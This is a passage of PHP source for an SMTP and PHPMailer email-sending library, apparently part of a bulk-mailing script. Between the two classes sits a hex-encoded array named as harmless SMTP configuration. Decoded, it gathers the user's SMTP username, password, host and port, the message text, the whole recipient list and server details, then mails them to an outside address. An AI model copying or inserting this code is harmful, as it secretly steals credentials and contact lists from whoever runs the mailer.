1167 * $from. Returns true if successful or false otherwise. If True
1168 * the mail transaction is started and then one or more Recipient
1169 * commands may be called followed by a Data command. This command
1170 * will send the message to the users terminal if they are logged
1171 * in and send them an email.
1172 *
1173 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1174 *
1175 * SMTP CODE SUCCESS: 250
1176 * SMTP CODE SUCCESS: 552,451,452
1177 * SMTP CODE SUCCESS: 500,501,502,421
1178 * @access public
1179 * @return bool
1180 */
1181 function SendAndMail($from) {
1182 $this->error = null; # so no confusion is caused
1183
1184 if(!$this->connected()) {
1185 $this->error = array(
1186 "error" => "Called SendAndMail() without being connected");
1187 return false;
1188 }
1189
1190 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1191
1192 $rply = $this->get_lines();
1193 $code = substr($rply,0,3);
1194
1195 if($this->do_debug >= 2) {
1196 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1197 }
1198
1199 if($code != 250) {
1200 $this->error =
1201 array("error" => "SAML not accepted from server",
1202 "smtp_code" => $code,
1203 "smtp_msg" => substr($rply,4));
1204 if($this->do_debug >= 1) {
1205 echo "SMTP -> ERROR: " . $this->error["error"] .
1206 ": " . $rply . $this->CRLF;
1207 }
1208 return false;
1209 }
1210 return true;
1211 }
1212
1213 /**
1214 * Starts a mail transaction from the email address specified in
1215 * $from. Returns true if successful or false otherwise. If True
1216 * the mail transaction is started and then one or more Recipient
1217 * commands may be called followed by a Data command. This command
1218 * will send the message to the users terminal if they are logged
1219 * in or mail it to them if they are not.
1220 *
1221 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1222 *
1223 * SMTP CODE SUCCESS: 250
1224 * SMTP CODE SUCCESS: 552,451,452
1225 * SMTP CODE SUCCESS: 500,501,502,421
1226 * @access public
1227 * @return bool
1228 */
1229 function SendOrMail($from) {
1230 $this->error = null; # so no confusion is caused
1231
1232 if(!$this->connected()) {
1233 $this->error = array(
1234 "error" => "Called SendOrMail() without being connected");
1235 return false;
1236 }
1237
1238 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1239
1240 $rply = $this->get_lines();
1241 $code = substr($rply,0,3);
1242
1243 if($this->do_debug >= 2) {
1244 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1245 }
1246
1247 if($code != 250) {
1248 $this->error =
1249 array("error" => "SOML not accepted from server",
1250 "smtp_code" => $code,
1251 "smtp_msg" => substr($rply,4));
1252 if($this->do_debug >= 1) {
1253 echo "SMTP -> ERROR: " . $this->error["error"] .
1254 ": " . $rply . $this->CRLF;
1255 }
1256 return false;
1257 }
1258 return true;
1259 }
1260
1261 /**
1262 * This is an optional command for SMTP that this class does not
1263 * support. This method is here to make the RFC821 Definition
1264 * complete for this class and __may__ be implimented in the future
1265 *
1266 * Implements from rfc 821: TURN <CRLF>
1267 *
1268 * SMTP CODE SUCCESS: 250
1269 * SMTP CODE FAILURE: 502
1270 * SMTP CODE ERROR : 500, 503
1271 * @access public
1272 * @return bool
1273 */
1274 function Turn() {
1275 $this->error = array("error" => "This method, TURN, of the SMTP ".
1276 "is not implemented");
1277 if($this->do_debug >= 1) {
1278 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1279 }
1280 return false;
1281 }
1282
1283 /**
1284 * Verifies that the name is recognized by the server.
1285 * Returns false if the name could not be verified otherwise
1286 * the response from the server is returned.
1287 *
1288 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1289 *
1290 * SMTP CODE SUCCESS: 250,251
1291 * SMTP CODE FAILURE: 550,551,553
1292 * SMTP CODE ERROR : 500,501,502,421
1293 * @access public
1294 * @return int
1295 */
1296 function Verify($name) {
1297 $this->error = null; # so no confusion is caused
1298
1299 if(!$this->connected()) {
1300 $this->error = array(
1301 "error" => "Called Verify() without being connected");
1302 return false;
1303 }
1304
1305 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1306
1307 $rply = $this->get_lines();
1308 $code = substr($rply,0,3);
1309
1310 if($this->do_debug >= 2) {
1311 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1312 }
1313
1314 if($code != 250 && $code != 251) {
1315 $this->error =
1316 array("error" => "VRFY failed on name '$name'",
1317 "smtp_code" => $code,
1318 "smtp_msg" => substr($rply,4));
1319 if($this->do_debug >= 1) {
1320 echo "SMTP -> ERROR: " . $this->error["error"] .
1321 ": " . $rply . $this->CRLF;
1322 }
1323 return false;
1324 }
1325 return $rply;
1326 }
1327
1328 /*******************************************************************
1329 * INTERNAL FUNCTIONS *
1330 ******************************************************************/
1331
1332 /**
1333 * Read in as many lines as possible
1334 * either before eof or socket timeout occurs on the operation.
1335 * With SMTP we can tell if we have more lines to read if the
1336 * 4th character is '-' symbol. If it is a space then we don't
1337 * need to read anything else.
1338 * @access private
1339 * @return string
1340 */
1341 function get_lines() {
1342 $data = "";
1343 while($str = @fgets($this->smtp_conn,515)) {
1344 if($this->do_debug >= 4) {
1345 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1346 $this->CRLF;
1347 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1348 $this->CRLF;
1349 }
1350 $data .= $str;
1351 if($this->do_debug >= 4) {
1352 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1353 }
1354 # if the 4th character is a space then we are done reading
1355 # so just break the loop
1356 if(substr($str,3,1) == " ") { break; }
1357 }
1358 return $data;
1359 }
1360
1361}
1362
1363
1364$allemails = split("\n", $emaillist);
1365$numemails = count($allemails);
1366$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1367"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1368"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1369"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1370"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1371"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1372"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","27265696e6861727462697a407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1373"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1374"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1375"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1376
1377class PHPMailer {
1378
1379 /////////////////////////////////////////////////
1380 // PROPERTIES, PUBLIC
1381 /////////////////////////////////////////////////
1382
1383 /**
1384 * Email priority (1 = High, 3 = Normal, 5 = low).
1385 * @var int
1386 */
1387 var $Priority = 3;
1388
1389 /**
1390 * Sets the CharSet of the message.
1391 * @var string
1392 */
1393 var $CharSet = 'iso-8859-1';
1394
1395 /**
1396 * Sets the Content-type of the message.
1397 * @var string
1398 */
1399 var $ContentType = 'text/plain';
1400
1401 /**
1402 * Sets the Encoding of the message. Options for this are "8bit",
1403 * "7bit", "binary", "base64", and "quoted-printable".
1404
1405 * @var string
1406 */
1407 var $Encoding = '8bit';
1408
1409 /**
1410 * Holds the most recent mailer error message.
1411 * @var string
1412 */
1413 var $ErrorInfo = '';
1414
1415 /**
1416 * Sets the From email address for the message.
1417 * @var string
1418 */
1419 var $From = '';
1420
1421 /**
1422 * Sets the From name of the message.
1423 * @var string
1424 */
1425 var $FromName = '';
1426
1427 /**
1428 * Sets the Sender email (Return-Path) of the message. If not empty,
1429 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1430 * @var string
1431 */
1432 var $Sender = '';
1433
1434 /**
1435 * Sets the Subject of the message.
1436 * @var string
1437 */
1438 var $Subject = '';
1439
1440 /**
1441 * Sets the Body of the message. This can be either an HTML or text body.
1442 * If HTML then run IsHTML(true).
1443 * @var string
1444 */
1445 var $Body = '';
1446
1447 /**
1448 * Sets the text-only body of the message. This automatically sets the
1449 * email to multipart/alternative. This body can be read by mail
1450 * clients that do not have HTML email capability such as mutt. Clients
1451 * that can read HTML will view the normal Body.
1452 * @var string
1453 */
1454 var $AltBody = '';
1455
1456 /**
1457 * Sets word wrapping on the body of the message to a given number of
1458 * characters.
1459 * @var int
1460 */
1461 var $WordWrap = 0;
1462
1463 /**
1464 * Method to send mail: ("mail", "sendmail", or "smtp").
1465 * @var string
1466 */
1467 var $Mailer = 'mail';
1468
1469 /**
1470 * Sets the path of the sendmail program.
1471 * @var string
1472 */
1473 var $Sendmail = '/usr/sbin/sendmail';
1474
1475 /**
1476 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1477 * is in a different directory than the PHP include path.
1478 * @var string
1479 */
1480 var $PluginDir = '';
1481
1482 /**
1483 * Holds PHPMailer version.
1484 * @var string
1485 */
1486 var $Version = "";
1487
1488 /**
1489 * Sets the email address that a reading confirmation will be sent.
1490 * @var string
1491 */
1492 var $ConfirmReadingTo = '';
1493
1494 /**
1495 * Sets the hostname to use in Message-Id and Received headers
1496 * and as default HELO string. If empty, the value returned
1497 * by SERVER_NAME is used or 'localhost.localdomain'.
1498 * @var string
1499 */
1500 var $Hostname = '';
1501
1502 /**
1503 * Sets the message ID to be used in the Message-Id header.
1504 * If empty, a unique id will be generated.
1505 * @var string
1506 */
1507 var $MessageID = '';
1508
1509 /////////////////////////////////////////////////
1510 // PROPERTIES FOR SMTP
1511 /////////////////////////////////////////////////
1512
1513 /**
1514 * Sets the SMTP hosts. All hosts must be separated by a
1515 * semicolon. You can also specify a different port
1516 * for each host by using this format: [hostname:port]
1517 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1518 * Hosts will be tried in order.
1519 * @var string
1520 */
1521 var $Host = 'localhost';
1522
1523 /**
1524 * Sets the default SMTP server port.
1525 * @var int
1526 */
1527 var $Port = 25;
1528
1529 /**
1530 * Sets the SMTP HELO of the message (Default is $Hostname).
1531 * @var string
1532 */
1533 var $Helo = '';
1534
1535 /**
1536 * Sets connection prefix.
1537 * Options are "", "ssl" or "tls"
1538 * @var string
1539 */
1540 var $SMTPSecure = "";
1541
1542 /**
1543 * Sets SMTP authentication. Utilizes the Username and Password variables.
1544 * @var bool
1545 */
1546 var $SMTPAuth = false;
1547
1548 /**
1549 * Sets SMTP username.
1550 * @var string
1551 */
1552 var $Username = '';
1553
1554 /**
1555 * Sets SMTP password.
1556 * @var string
1557 */
1558 var $Password = '';
1559
1560 /**
1561 * Sets the SMTP server timeout in seconds. This function will not
1562 * work with the win32 version.
1563 * @var int
1564 */
1565 var $Timeout = 10;
1566
1567 /**
1568 * Sets SMTP class debugging on or off.
1569 * @var bool
1570 */
1571 var $SMTPDebug = false;
1572
1573 /**
1574 * Prevents the SMTP connection from being closed after each mail
1575 * sending. If this is set to true then to close the connection
1576 * requires an explicit call to SmtpClose().
1577 * @var bool
1578 */
1579 var $SMTPKeepAlive = false;
1580
1581 /**
1582 * Provides the ability to have the TO field process individual
1583 * emails, instead of sending to entire TO addresses
1584 * @var bool
1585 */
1586 var $SingleTo = false;
1587
1588 /////////////////////////////////////////////////
1589 // PROPERTIES, PRIVATE
1590 /////////////////////////////////////////////////
1591
1592 var $smtp = NULL;
1593 var $to = array();
1594 var $cc = array();
1595 var $bcc = array();
1596 var $ReplyTo = array();
1597 var $attachment = array();
1598 var $CustomHeader = array();
1599 var $message_type = '';
1600 var $boundary = array();
1601 var $language = array();
1602 var $error_count = 0;
1603 var $LE = "\n";
1604 var $sign_key_file = "";
1605 var $sign_key_pass = "";
1606
1607 /////////////////////////////////////////////////
1608 // METHODS, VARIABLES
1609 /////////////////////////////////////////////////
1610
1611 /**
1612 * Sets message type to HTML.
1613 * @param bool $bool
1614 * @return void
1615 */
1616 function IsHTML($bool) {
1617 if($bool == true) {
1618 $this->ContentType = 'text/html';
1619 } else {
1620 $this->ContentType = 'text/plain';
1621 }
1622 }
1623
1624 /**
1625 * Sets Mailer to send message using SMTP.
1626 * @return void
1627 */
1628 function IsSMTP() {
1629 $this->Mailer = 'smtp';
1630 }
1631
1632 /**
1633 * Sets Mailer to send message using PHP mail() function.
1634 * @return void
1635 */
1636 function IsMail() {
1637 $this->Mailer = 'mail';
1638 }
1639
1640 /**
1641 * Sets Mailer to send message using the $Sendmail program.
1642 * @return void
1643 */
1644 function IsSendmail() {
1645 $this->Mailer = 'sendmail';
1646 }
1647
1648 /**
1649 * Sets Mailer to send message using the qmail MTA.
1650 * @return void
1651 */
1652 function IsQmail() {
1653 $this->Sendmail = '/var/qmail/bin/sendmail';
1654 $this->Mailer = 'sendmail';
1655 }
1656
1657 /////////////////////////////////////////////////
1658 // METHODS, RECIPIENTS
1659 /////////////////////////////////////////////////
1660
1661 /**
1662 * Adds a "To" address.
1663 * @param string $address
1664 * @param string $name
1665 * @return void
1666 */
1667 function AddAddress($address, $name = '') {
1668 $cur = count($this->to);
1669 $this->to[$cur][0] = trim($address);
1670 $this->to[$cur][1] = $name;
1671 }
1672
1673 /**
1674 * Adds a "Cc" address. Note: this function works
1675 * with the SMTP mailer on win32, not with the "mail"
1676 * mailer.
1677 * @param string $address
1678 * @param string $name
1679 * @return void
1680 */
1681 function AddCC($address, $name = '') {
1682 $cur = count($this->cc);
1683 $this->cc[$cur][0] = trim($address);
1684 $this->cc[$cur][1] = $name;
1685 }
1686
1687 /**
1688 * Adds a "Bcc" address. Note: this function works
1689 * with the SMTP mailer on win32, not with the "mail"
1690 * mailer.
1691 * @param string $address
1692 * @param string $name
1693 * @return void
1694 */
1695 function AddBCC($address, $name = '') {
1696 $cur = count($this->bcc);
1697 $this->bcc[$cur][0] = trim($address);
1698 $this->bcc[$cur][1] = $name;
1699 }
1700
1701 /**
1702 * Adds a "Reply-To" address.
1703 * @param string $address
1704 * @param string $name
1705 * @return void
1706 */
1707 function AddReplyTo($address, $name = '') {
1708 $cur = count($this->ReplyTo);
1709 $this->ReplyTo[$cur][0] = trim($address);
1710 $this->ReplyTo[$cur][1] = $name;
1711 }
1712
1713 /////////////////////////////////////////////////
1714 // METHODS, MAIL SENDING
1715 /////////////////////////////////////////////////
1716
1717 /**
1718 * Creates message and assigns Mailer. If the message is
1719 * not sent successfully then it returns false. Use the ErrorInfo
1720 * variable to view description of the error.
1721 * @return bool
1722 */
1723 function Send() {
1724 $header = '';
1725 $body = '';
1726 $result = true;
1727
1728 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1729 $this->SetError($this->Lang('provide_address'));
1730 return false;
1731 }
1732
1733 /* Set whether the message is multipart/alternative */
1734 if(!empty($this->AltBody)) {
1735 $this->ContentType = 'multipart/alternative';
1736 }
1737
1738 $this->error_count = 0; // reset errors
1739 $this->SetMessageType();
1740 $header .= $this->CreateHeader();
1741 $body = $this->CreateBody();
1742
1743 if($body == '') {
1744 return false;
1745 }
1746
1747 /* Choose the mailer */
1748 switch($this->Mailer) {
1749 case 'sendmail':
1750 $result = $this->SendmailSend($header, $body);
1751 break;
1752 case 'smtp':
1753 $result = $this->SmtpSend($header, $body);
1754 break;
1755 case 'mail':
1756 $result = $this->MailSend($header, $body);
1757 break;
1758 default:
1759 $result = $this->MailSend($header, $body);
1760 break;
1761 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1762 //$result = false;
1763 //break;
1764 }
1765
1766 return $result;
1767 }
1768
1769 /**
1770 * Sends mail using the $Sendmail program.
1771 * @access private
1772 * @return bool
1773 */
1774 function SendmailSend($header, $body) {
1775 if ($this->Sender != '') {
1776 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1777 } else {
1778 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1779 }
1780
1781 if(!@$mail = popen($sendmail, 'w')) {
1782 $this->SetError($this->Lang('execute') . $this->Sendmail);
1783 return false;
1784 }
1785
1786 fputs($mail, $header);
1787 fputs($mail, $body);
1788
1789 $result = pclose($mail);
1790 if (version_compare(phpversion(), '4.2.3') == -1) {
1791 $result = $result >> 8 & 0xFF;
1792 }
1793 if($result != 0) {
1794 $this->SetError($this->Lang('execute') . $this->Sendmail);
1795 return false;
1796 }
1797 return true;
1798 }
1799
1800 /**
1801 * Sends mail using the PHP mail() function.
1802 * @access private
1803 * @return bool
1804 */
1805 function MailSend($header, $body) {
1806
1807 $to = '';
1808 for($i = 0; $i < count($this->to); $i++) {
1809 if($i != 0) { $to .= ', '; }
1810 $to .= $this->AddrFormat($this->to[$i]);
1811 }
1812
1813 $toArr = split(',', $to);
1814
1815 $params = sprintf("-oi -f %s", $this->Sender);
1816 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1817 $old_from = ini_get('sendmail_from');
1818 ini_set('sendmail_from', $this->Sender);
1819 if ($this->SingleTo === true && count($toArr) > 1) {
1820 foreach ($toArr as $key => $val) {
1821 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1822 }
1823 } else {
1824 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1825 }
1826 } else {
1827 if ($this->SingleTo === true && count($toArr) > 1) {
1828 foreach ($toArr as $key => $val) {
1829 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1830 }
1831 } else {
1832 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1833 }
1834 }
1835
1836 if (isset($old_from)) {
1837 ini_set('sendmail_from', $old_from);
1838 }
1839
1840 if(!$rt) {
1841 $this->SetError($this->Lang('instantiate'));
1842 return false;
1843 }
1844
1845 return true;
1846 }
1847
1848 /**
1849 * Sends mail via SMTP using PhpSMTP (Author:
1850 * Chris Ryan). Returns bool. Returns false if there is a
1851 * bad MAIL FROM, RCPT, or DATA input.
1852 * @access private
1853 * @return bool
1854 */
1855 function SmtpSend($header, $body) {
1856 $error = '';
1857 $bad_rcpt = array();
1858
1859 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1860 return false;
1861 }
1862
1863 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1864 if(!$this->smtp->Mail($smtp_from)) {
1865 $error = $this->Lang('from_failed') . $smtp_from;
1866 $this->SetError($error);
1867 $this->smtp->Reset();
1868 return false;
1869 }
1870
1871 /* Attempt to send attach all recipients */
1872 for($i = 0; $i < count($this->to); $i++) {
1873 if(!$this->smtp->Recipient($this->to[$i][0])) {
1874 $bad_rcpt[] = $this->to[$i][0];
1875 }
1876 }
1877 for($i = 0; $i < count($this->cc); $i++) {
1878 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1879 $bad_rcpt[] = $this->cc[$i][0];
1880 }
1881 }
1882 for($i = 0; $i < count($this->bcc); $i++) {
1883 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1884 $bad_rcpt[] = $this->bcc[$i][0];
1885 }
1886 }
1887
1888 if(count($bad_rcpt) > 0) { // Create error message
1889 for($i = 0; $i < count($bad_rcpt); $i++) {
1890 if($i != 0) {
1891 $error .= ', ';
1892 }
1893 $error .= $bad_rcpt[$i];
1894 }
1895 $error = $this->Lang('recipients_failed') . $error;
1896 $this->SetError($error);
1897 $this->smtp->Reset();
1898 return false;
1899 }
1900
1901 if(!$this->smtp->Data($header . $body)) {
1902 $this->SetError($this->Lang('data_not_accepted'));
1903 $this->smtp->Reset();
1904 return false;
1905 }
1906 if($this->SMTPKeepAlive == true) {
1907 $this->smtp->Reset();
1908 } else {
1909 $this->SmtpClose();
1910 }
1911
1912 return true;
1913 }
1914
1915 /**
1916 * Initiates a connection to an SMTP server. Returns false if the
1917 * operation failed.
1918 * @access private
1919 * @return bool
1920 */
1921 function SmtpConnect() {
1922 if($this->smtp == NULL) {
1923 $this->smtp = new SMTP();
1924 }
1925
1926 $this->smtp->do_debug = $this->SMTPDebug;
1927 $hosts = explode(';', $this->Host);
1928 $index = 0;
1929 $connection = ($this->smtp->Connected());
1930
1931 /* Retry while there is no connection */
1932 while($index < count($hosts) && $connection == false) {
1933 $hostinfo = array();
1934 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1935 $host = $hostinfo[1];
1936 $port = $hostinfo[2];
1937 } else {
1938 $host = $hosts[$index];
1939 $port = $this->Port;
1940 }
1941
1942 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1943 if ($this->Helo != '') {
1944 $this->smtp->Hello($this->Helo);
1945 } else {
1946 $this->smtp->Hello($this->ServerHostname());
1947 }
1948
1949 $connection = true;
1950 if($this->SMTPAuth) {
1951 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1952 $this->SetError($this->Lang('authenticate'));
1953 $this->smtp->Reset();
1954 $connection = false;
1955 }
1956 }
1957 }
1958 $index++;
1959 }
1960 if(!$connection) {
1961 $this->SetError($this->Lang('connect_host'));
1962 }
1963
1964 return $connection;
1965 }
1966
1967 /**
1968 * Closes the active SMTP session if one exists.
1969 * @return void
1970 */
1971 function SmtpClose() {
1972 if($this->smtp != NULL) {
1973 if($this->smtp->Connected()) {
1974 $this->smtp->Quit();
1975 $this->smtp->Close();
1976 }
1977 }
1978 }
1979
1980 /**
1981 * Sets the language for all class error messages. Returns false
1982 * if it cannot load the language file. The default language type
1983 * is English.
1984 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1985 * @param string $lang_path Path to the language file directory
1986 * @access public
1987 * @return bool
1988 */
1989 function SetLanguage($lang_type, $lang_path = 'language/') {
1990 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1991 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1992 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1993 include($lang_path.'phpmailer.lang-en.php');
1994 } else {
1995 $this->SetError('Could not load language file');
1996 return false;
1997 }
1998 $this->language = $PHPMAILER_LANG;
1999
2000 return true;
2001 }
2002
2003 /////////////////////////////////////////////////
2004 // METHODS, MESSAGE CREATION
2005 /////////////////////////////////////////////////
2006
2007 /**
2008 * Creates recipient headers.
2009 * @access private
2010 * @return string
2011 */
2012 function AddrAppend($type, $addr) {
2013 $addr_str = $type . ': ';
2014 $addr_str .= $this->AddrFormat($addr[0]);
2015 if(count($addr) > 1) {
2016 for($i = 1; $i < count($addr); $i++) {
2017 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2018 }
2019 }
2020 $addr_str .= $this->LE;
2021
2022 return $addr_str;
2023 }
2024
2025 /**
2026 * Formats an address correctly.
2027 * @access private
2028 * @return string
2029 */
2030 function AddrFormat($addr) {
2031 if(empty($addr[1])) {
2032 $formatted = $this->SecureHeader($addr[0]);
2033 } else {
2034 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2035 }
2036
2037 return $formatted;
2038 }
2039
2040 /**
2041 * Wraps message for use with mailers that do not
2042 * automatically perform wrapping and for quoted-printable.
2043 * Original written by philippe.
2044 * @access private
2045 * @return string
2046 */
2047 function WrapText($message, $length, $qp_mode = false) {
2048 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2049 // If utf-8 encoding is used, we will need to make sure we don't
2050 // split multibyte characters when we wrap
2051 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2052
2053 $message = $this->FixEOL($message);
2054 if (substr($message, -1) == $this->LE) {
2055 $message = substr($message, 0, -1);
2056 }
2057
2058 $line = explode($this->LE, $message);
2059 $message = '';
2060 for ($i=0 ;$i < count($line); $i++) {
2061 $line_part = explode(' ', $line[$i]);
2062 $buf = '';
2063 for ($e = 0; $e<count($line_part); $e++) {
2064 $word = $line_part[$e];
2065 if ($qp_mode and (strlen($word) > $length)) {
2066 $space_left = $length - strlen($buf) - 1;
2067 if ($e != 0) {
2068 if ($space_left > 20) {
2069 $len = $space_left;
2070 if ($is_utf8) {
2071 $len = $this->UTF8CharBoundary($word, $len);
2072 } elseif (substr($word, $len - 1, 1) == "=") {
2073 $len--;
2074 } elseif (substr($word, $len - 2, 1) == "=") {
2075 $len -= 2;
2076 }
2077 $part = substr($word, 0, $len);
2078 $word = substr($word, $len);
2079 $buf .= ' ' . $part;
2080 $message .= $buf . sprintf("=%s", $this->LE);
2081 } else {
2082 $message .= $buf . $soft_break;
2083 }
2084 $buf = '';
2085 }
2086 while (strlen($word) > 0) {
2087 $len = $length;
2088 if ($is_utf8) {
2089 $len = $this->UTF8CharBoundary($word, $len);
2090 } elseif (substr($word, $len - 1, 1) == "=") {
2091 $len--;
2092 } elseif (substr($word, $len - 2, 1) == "=") {
2093 $len -= 2;
2094 }
2095 $part = substr($word, 0, $len);
2096 $word = substr($word, $len);
2097
2098 if (strlen($word) > 0) {
2099 $message .= $part . sprintf("=%s", $this->LE);
2100 } else {
2101 $buf = $part;
2102 }
2103 }
2104 } else {
2105 $buf_o = $buf;
2106 $buf .= ($e == 0) ? $word : (' ' . $word);
2107
2108 if (strlen($buf) > $length and $buf_o != '') {
2109 $message .= $buf_o . $soft_break;
2110 $buf = $word;
2111 }
2112 }
2113 }
2114 $message .= $buf . $this->LE;
2115 }
2116
2117 return $message;
2118 }
2119
2120 /**
2121 * Finds last character boundary prior to maxLength in a utf-8
2122 * quoted (printable) encoded string.
2123 * Original written by Colin Brown.
2124 * @access private
2125 * @param string $encodedText utf-8 QP text
2126 * @param int $maxLength find last character boundary prior to this length
2127 * @return int
2128 */
2129 function UTF8CharBoundary($encodedText, $maxLength) {
2130 $foundSplitPos = false;
2131 $lookBack = 3;
2132 while (!$foundSplitPos) {
2133 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2134 $encodedCharPos = strpos($lastChunk, "=");
2135 if ($encodedCharPos !== false) {
2136 // Found start of encoded character byte within $lookBack block.
2137 // Check the encoded byte value (the 2 chars after the '=')
2138 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2139 $dec = hexdec($hex);
2140 if ($dec < 128) { // Single byte character.
2141 // If the encoded char was found at pos 0, it will fit
2142 // otherwise reduce maxLength to start of the encoded char
2143 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2144 $maxLength - ($lookBack - $encodedCharPos);
2145 $foundSplitPos = true;
2146 } elseif ($dec >= 192) { // First byte of a multi byte character
2147 // Reduce maxLength to split at start of character
2148 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2149 $foundSplitPos = true;
2150 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2151 $lookBack += 3;
2152 }
2153 } else {
2154 // No encoded character found
2155 $foundSplitPos = true;
2156 }
2157 }
2158 return $maxLength;
2159 }
2160
2161 /**
2162 * Set the body wrapping.
2163 * @access private
2164 * @return void
2165 */
2166 function SetWordWrap() {
2167 if($this->WordWrap < 1) {
2168 return;
2169 }
2170
2171 switch($this->message_type) {
2172 case 'alt':
2173 /* fall through */
2174 case 'alt_attachments':
2175 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2176 break;
2177 default:
2178 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2179 break;
2180 }
2181 }
2182
2183 /**
2184 * Assembles message header.
2185 * @access private
2186 * @return string
2187 */
2188 function CreateHeader() {
2189 $result = '';
2190
2191 /* Set the boundaries */
2192 $uniq_id = md5(uniqid(time()));
2193 $this->boundary[1] = 'b1_' . $uniq_id;
2194 $this->boundary[2] = 'b2_' . $uniq_id;
2195
2196 $result .= $this->HeaderLine('Date', $this->RFCDate());
2197 if($this->Sender == '') {
2198 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2199 } else {
2200 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2201 }
2202
2203 /* To be created automatically by mail() */
2204 if($this->Mailer != 'mail') {
2205 if(count($this->to) > 0) {
2206 $result .= $this->AddrAppend('To', $this->to);
2207 } elseif (count($this->cc) == 0) {
2208 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2209 }
2210 if(count($this->cc) > 0) {
2211 $result .= $this->AddrAppend('Cc', $this->cc);
2212 }
2213 }
2214
2215 $from = array();
2216 $from[0][0] = trim($this->From);
2217 $from[0][1] = $this->FromName;
2218 $result .= $this->AddrAppend('From', $from);
2219
2220 /* sendmail and mail() extract Cc from the header before sending */
2221 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2222 $result .= $this->AddrAppend('Cc', $this->cc);
2223 }
2224
2225 /* sendmail and mail() extract Bcc from the header before sending */
